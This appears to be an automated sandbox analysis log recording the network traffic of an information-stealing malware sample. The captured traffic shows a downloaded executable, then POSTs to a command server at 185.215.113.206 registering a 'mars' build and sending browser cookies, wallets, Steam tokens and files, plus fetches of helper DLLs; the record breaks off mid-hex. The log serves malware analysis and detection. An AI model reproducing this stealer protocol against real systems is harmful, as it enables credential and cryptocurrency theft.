00 e0 6d 74 75 62 6b 75 63 65 00 30 1a 00 00 c0 31 00 00 30 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6a 62 71 62 76 62 76 00 10 00 00 00 f0 4b 00 00 04 00 00 00 28 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 2c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 01:57:11 GMTContent-Type: application/octet-streamContent-Length: 4392960Last-Modified: Sat, 23 Nov 2024 00:46:58 GMTConnection: keep-aliveETag: "67412602-430800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c4 00 00 04 00 00 19 ac 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 44 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 44 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 62 6c 79 7a 6c 73 00 60 1b 00 00 f0 a8 00 00 56 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 64 69 68 67 75 65 74 00 10 00 00 00 50 c4 00 00 04 00 00 00 e2 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c4 00 00 22 00 00 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEBAAKJDHIECAAFHCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 38 36 33 37 34 34 33 36 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 41 2d 2d 0d 0a Data Ascii: ------DHIEBAAKJDHIECAAFHCAContent-Disposition: form-data; name="hwid"A2863744369B3566182515------DHIEBAAKJDHIECAAFHCAContent-Disposition: form-data; name="build"mars------DHIEBAAKJDHIECAAFHCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="message"browsers------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="message"plugins------HIEBAKEHDHCAKEBFBKEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"fplugins------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEBHost: 185.215.113.206Content-Length: 7527Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKKFIIEBKEGIEBFIJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file"------EBGCFBGCBFHJECBGDAKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="file"------DBAEGCGCGIEGDHIDHJJE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"wallets------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"wallets------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="message"files------BAKEBAFIIECBGCAAAAFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="file"------BAAFBFBAAKECFIEBFIEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 